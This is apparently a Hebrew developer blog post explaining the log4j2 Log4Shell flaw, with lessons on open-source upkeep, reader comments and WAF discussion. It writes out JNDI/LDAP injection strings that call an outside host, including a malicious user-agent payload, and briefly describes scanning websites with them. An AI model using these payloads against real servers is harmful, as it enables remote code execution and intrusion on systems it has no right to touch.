אז למי שפספס – בסוף השבוע האחרון גילו חולשת אבטחה מאוד מאוד משמעותית בספרית תוכנה בג'אווה שחלקכם אולי מכירים בשם log4j2. מדובר בספרית תוכנה שמשמשת ללוגים. כתבתי על זה לא מעט ב"הארץ" לקהל הלא טכני אבל פה אני אכנס יותר לעניינים הטכניים סביב מה שקרה עם הספריה הזו, איך הפרצה נראית בפועל ואיך אפשר לנצל אותה וגם מה אפשר לעשות ומה אפשר ללמוד גם למי שלא נוגע או מתכוון לגעת בג'אווה.
הסיפור בקצרה
ב-9 לדצמבר התפרסמה חולשת אבטחה משמעותית בספרית הלוגינג log4j2. מדובר בספריה מבוססת קוד פתוח שאחראים עליה מספר מצומצם של מפתחים. העניין הוא שזה קוד תשתיתית שנמצא בכמות עצומה של תוכנות אחרות. מיינקראפט היא הדוגמה הכי פופולרית (שרת וקליינט) אבל גם שירותים אחרים – אפאצ'י סולר, ספארק, ספרינג – ובאמת עוד המון. ואם אתם מפתחי ג'אווה, מספיק שאני אומר ספארק או ספרינג ואתם תבינו את ההשפעה הזו. הוציאו מהר מאוד תיקון גם ב-log4j2 וגם כמובן במי שמסתמך עליו, שזה המוני ספריות ותוכנות. אבל לוקח זמן לעדכן כמובן. למרות שאלפי מתכנתים הוקפצו למטרת העדכון.
ממה החולשה נגרמה?
ראשית אני אשמח להפנות אתכם לפוסט מעולה בבלוג של קלאודפלייר שמסביר לעומק על הפרצה שהוא זה שהנחה אותי בלהבין מה הלך שם. אבל בגדול – ספרית log4j2 מבצעת רישום ללוגים. היא משתמשת בפלגין שנקרא JNDILookup – ראשי התבות הם Java Naming and Directory Interface. שנועד לאתר אובייקטים של ג'אווה שנמצאים בתיקיות שונות. את התיקיות מאתרים באמצעות תוכנות אחרות. אחת מהן היא LDAP (אין קשר ל-LDAP של ספקיות האינטרנט) שראשי התבות שלה הן Lightweight Directory Access Protocol. אני יכול להשתמש ב-log4j2 יחד עם LDAP כדי להעשיר את הלוג במידע נוסף מאובייקט ג'וואי. בדוגמה הזו מתוך הדוקומנטציה של JNDI, אנו יכולים לראות איך זה נראה בפועל:
import javax.naming.Context;
import javax.naming.directory.InitialDirContext;
import javax.naming.directory.DirContext;
import javax.naming.directory.Attributes;
import javax.naming.NamingException;
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://localhost:389/o=JNDITutorial");
בדוגמה, יש כאן קישור לקריאה מתוך ldap://localhost:389/o=JNDITutorial. כאשר יכול הכתובת יכולה להיות כל כתובת מהאינטרנט שמחזירה אובייקט ג'וואי. ברור פה שצריכה להיות בקרה רצינית על הכתובת.
מה שקרה ב-log4j2 הוא שהם חיברו את ה-LDAP באופן כזה שאם העברתם מחרוזת טקסט עם קידומת ldap לספריה כלוג, הוא יצר קשר עם הכתובת ששלחתם. למשל:
${jndi:ldap://example.com/whatever}
גרם ליצירת קשר עם עם example.com/whatever והרצה שלו.
כלומר כל מה שהתוקף צריך לעשות זה לגרום ללוג לרשום את המחרוזת הזו ולהעביר אליה. דוגמה טובה היא שרתים שמקבלים יוזר אייג'נט. במקום היוזר אייג'נט הרגיל, נעביר כזה יוזר אייג'נט:
ואז תהיה הרצה של הקוד המרוחק.
על מנת שמתכנתי ג'אווהסקריפט יבינו, מישהו העלה את הבדיחה הזו, שיכולה ללמד אותנו על איך זה נראה ולהמחיש מעט יותר.
איך המתקפה עובדת בפועל?
חוקר האבטחה דין בר כתב בפתיל בטוויטר כמה קל לבצע את המתקפה. הוא שינה את היוזר אייג'נט שלו למשהו שישלח לו פינג בכל פעם שמישהו מרנדר אותו. מה רבה הפתעתו לגלות לא מעט אתרים, כולל גדולים ומפורסמים, ששלחו לו פינג. אפשר לראות ממש את שרשרת הציוצים בה הוא מתעד את הפלא פה:
כמובן שאפשר לעשות דברים קצת יותר אפלים ממשהו שישלח לכם פינג. חוקר האבטחה קווין בומונט הראה דוגמאות מעשיות של תוקפים ששותלים, או מנסים לשתול, פיילואודים שמריצים תוכנה מרוחקת שגורמת לשרת הנפגע לכרות ביטקוין עבורם.
בגיטהאב יש לא מעט דוגמאות של קוד. מה שהדוגמאות האלו עושות בגדול זה להרים שרת לוקלי, ליצור קישור כמו למשל
http://127.0.0.1:8888/#Exploit
אפשר להריץ את זה בשרת חיצוני – למשל 6.38.20.20 ואז הקישור יהיה כמובן:
http://6.38.20.20:8888/#Exploit
ואז לגלוש באתרים עם יוזר אייג'נט כזה:
Mozilla/5.0 ${jndi:ldap://6.38.20.20:1389/ badClassName}/ua
ואז לראות כמעט מייד אם ההתקפה פועלת. לא חייבים עם יוזר אייג'נט אלא בכל מקום שבו יש אינפוט שיש לו לוג ונכנס ל-log4j2. אפשר לרוץ עם פיילואוד פחות זדוני כדי לראות מה פתוח ואז להתקיף כשמוצאים משהו פתוח.
השילוב של הפופולריות העצומה של log4j2 יחד עם קלות ההבנה, התפעול ותפוצת הכלים – היא חומר נפץ ממשי וכבר כעת יש תקיפות.
מה אנחנו יכולים ללמוד מזה
ראשית, על הבעיות שיש לעתים בקוד הפתוח – להשתמש בקוד פתוח זה מעולה ואני איש קוד פתוח לגמרי, אבל חשוב להכיר גם את הסכנות. יש לכם קוד פתוח? אתם צריכים גם לדאוג למדיניות עדכונים שוטפת. היום זה בג'אווה, אתמול זה היה ב-Node.js, מחר זה יהיה בפייתון. אף אחד לא חסין. אתם צריכים להבין ולעדכן את מה שיש לכם. אם אתם מנהלים את הקוד שלכם בגיטהאב/גיטהאב אנטרפרייז, יש את dependabot שינהל את זה עבורכם וכמובן פתרונות אבטחה כמו סניק שעליה כתבתי בעבר. אבל לזכור שלא מדובר בכדור כסף. עם הרבה כוח מגיעה גם הרבה אחריות.
שנית, על כך שיש מתכנתים בודדים שמחזיקים תשתיות שעליהן לא מעט מהרשת יושבת. על log4j2 היו אחראים מתכנתים בודדים, שעשו זאת מרצונם הטוב וכפרויקט צד. תרמו להם רק שלושה תורמים. זה הכל. עכשיו יש נזקים בעשרות מיליונים. אם רק פרומיל היה מופנה לפרויקט הזה, הכל היה נחסך. יש את הקריקטורה של xkcd שממחישה זאת היטב:
ואולי זה הזמן לומר תודה לגיבורים האלו, שבאמת טורחים שנים ללא הרף ולא זוכים לשבחים מרובים וכשיש כזה אירוע הם חוטפים. הנה אחד מהמתכנתים של log4js2:
מעבר לקריאה הכללית לתרום לפרויקטי קוד פתוח שאתם משתמשים בהם (יש בגיטהאב מקום ספציפי לשלוח תרומות לפרויקטים שצריכים מימון) – אפשר גם לשלוח תודה רבה למי שמתחזק פרויקט שאהבתם 🙂
שלישית, ואולי גם זה חשוב – אני מקפיד כאן לכתוב על אבטחת קוד וקוד נכון, אבל צריך לזכור שגם עם בדיקות קוד מחמירות וגם עם שימוש בחברות כמו סניק או whitesource, יש עוד אמצעי אבטחה שאפשר לנקוט בהם כמו פיירוול. במקרה הזה קלאודפלייר למשל הכניסה במהירות כלים למיטיגציה של הנושא ושל ההתקפות לפיירוול שלה. אם האתרים/מערכות שלכם מוקפות בפיירוול מעודכן, אתם מעט יותר מוגנים. ואם אתם מתנחמים בזה ש"האתר שלי לא בג'אווה" – צריך לזכור שזה קורה כל הזמן. מחר זה יכול לקרות גם בטכנולוגיה שלכם ויכול לתפוס אתכם, כשצריך לעשות שדרוג דחוף, בדיוק בנסיעה לחו"ל, ירח דבש או כל חגיגה אחרת.
רביעית, וזו נקודה למחשבה באדיבות אורי פולגר שכתב תובנה יפה בדיון בטוויטר – אולי הבעיה היא בארכיטקטורה ובתפיסת העולם של ג'אווה שבמסגרתה כל מה שמגיע משרת של ג'אווה הוא בטוח. פיצ'ר כמו JNDI הוא באמת eval על כל המשתמע מכך – ולהעביר מחרוזת טקסט שמביאה משהו מבחוץ זה משהו שהוא בלתי מתקבל על הדעת בעידן המודרני.
אני בטוח שיהיה עיסוק מוגבר מאוד בתקופה הקרובה בעניין הזה ואני מקווה שהפוסט הקצר עשה לכם סדר.
9 תגובות
לגבי רמת תחזוק של קוד פתוח
הקוד הזה ותיק. עבר המון שימוש
למה שנחשוב שאילו היה מתוחזק בידי קבוצה רצינית יותר, באג מהסוג הזה היה נמצא ומתוקן בתהליך הפיתוח?
זה לא כמות המפתחים.
גם מפתח בודד שמסור לדברים הוא מישהו חשוב כמו חברה שלמה.
הקטע הוא שמשתמשים בקוד פתוח כמשהו חינמי שמקצר הליכים, אבל באים בטעות כאשר יש בעיות כלשהן, במקום לתרום חזרה ולתקן אותן.
עצם זה שספריה כזו כן עוברת המון ידיים ועיניים ועדיין אנחנו רואים שיש בעיות בהן מראות שלא תמיד כמות האנשים היא החשובה אלא היכולת לקבל פידבק טוב חשוב מאוד.
כדאי להבהיר שלא כל אחד שמריץ שרת אפאצ'י חשוף לחולשה זו, רק מי שמריץ קוד JAVA שמשתמש בספריית log4j. ראיתי המון הייפ ברשת שאסור להריץ שרת אפאצ'י. אין קשר בין שרת ה-HTTP שלהם לספריית הלוגים עבור JAVA.
החלק המשמעותי בפרצה הוא שרכיב ה JNDI בשרת המותקף יריץ את הקוד שחוזר מהכתובת שהתוקף הצליח להכניס לתוך המחרוזת שהועברה אל log4j.
אבל, החל מגרסה 8u121 של ג׳אווה, רכיב ה JNDI לא מריץ את הקוד שחוזר מהכתובת הנ״ל, אלא אם מישהו שינה בצורה מפורשת את ההגדרות של:
com.sun.jndi.rmi.object.trustURLCodebase
com.sun.jndi.cosnaming.object.trustURLCodebase
ל- true. אצל הרבה מאד שרתים אף אחד לא נגע בהגדרות הללו, ככה שברירת המחדל (החל מהגרסה הנ״ל) לא תאפשר לקוד חיצוני לרוץ.
פרטים נוספים:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228
https://www.oracle.com/java/technologies/javase/8u121-relnotes.html (צריך לחפש את Improved (protection for JNDI remote class loading
אפשר מקור כלשהו לכך שהחולשה משפיעה על ספארק?
בתור מפתח ספארק וידאתי עוד פעם את מה שידעתי – ספארק משתמשים ב log4j 1.2 ולא ב log4j2, לכן זה לא משפיע עליהם…
עם כל האפשרויות של שינויים בתקיפה, עדיין לא ברור לי איך אפשר להגן כנגד התקיפה הזו בפיירוול או ב waf. אתה יכול בבקשה להסביר את זה? או שמדובר רק בפלסטרים שלא באמת מגנים מתקיפה ממוקדת שלא משתמשת בקוד המפורסם אלא משנה בו משהו כדי שלא ייתפס החתימות.
במילים פשוטות, בהסתמך על חתימות של חולשות אבטחה, waf יחסום בקשות http המכילות את הטקסט המסוכן.
כיום Firewall NextGen, מכילים פונציונאליות של IPS – Intrusion Prevention System, גם הוא פועל על קונספט של חתימות שמתעדכנות כל הזמן ומאפשר לחסום ברמת ה- firewall התקפות בפרוטוקולים שןנים.
כמה מילים ספציפית על waf שהוא web application firewall – כלומר הוא יש לו יכולת להפעיל לוגיקה לחסיה או העברה של בקשות ספציפיות ברמת הפרוטוקול האפליקטיבי (במקרה הזה http). לדוגמא, ל- WAF מתוצרת חברת F5 יש אפשרות לחסום בקשות מסוכנות על פי מה שנקרא חתימות של חולשות ידועות. החתימות הן חלק מבסיס נתונים שמתעדכן כל הזמן. וגם במקרה של החולשה הזו עודכנו החתימות הרלוונטיות. ניתן לקרוא יותר לעומק:
https://support.f5.com/csp/article/K19026212
במקרה של FortiNet אשר מייצרים NextGen Firewall – הבסיס נתונים התעדכן וכבר עכשיו ניתן להגדיר חסימה של החולשה ברמת ה- firewall, כמובן דורש רישוי מתאים.
בגיטהאב אני רואה שיש 140 תורמים לפרוייקט + 1.1K forks + מעל 11K commits
לא נראה פרוייקט שנזנח.
טעויות יש בכל מקום גם בחברות שמשלמים למתכנתים במשרה מלאה
פשוט לרוב הטעויות משפיעות רק על מוצרים של חברה אחת ולא על כל התעשייה.
אבל זה דברים שלא היו עוברים בקוד פתוח, וגם אם כן היו מתוקנים מיד ולא היה לוקח כמה ימים או חודשים לקבל את התיקון נמצא רק בידיים של חברה מסחרית כל שהיא
למשל
CVE-2021-40119 של סיסקו
PrintNightmare ו Exchange Server של מייקרוסופט
ועוד הרבה פרצות שדווחו בשקט או נמצאו ע"י החברות בעצמם ותוקנו בשקט
או שהם בשימוש ע"י NSO בלי דיווח
ניצול החולשה מאד מזכיר לי את ה shellshock מ 2015. אז תוכנות שונות וביניהן apache httpd השתמשו ב bash בזמן כתיבת לוג.
גם כאן – הגורם היסודי לפגיעות הוא ביצוע עיבוד על קלט לא מאובטח.
בעיניי ספריה לרישום לוגים אמורה לרשום לוגים ולא לנתח אותם, בוודאי לא באמצעות תשתית שרתים שלא הוגדרה מפורשות.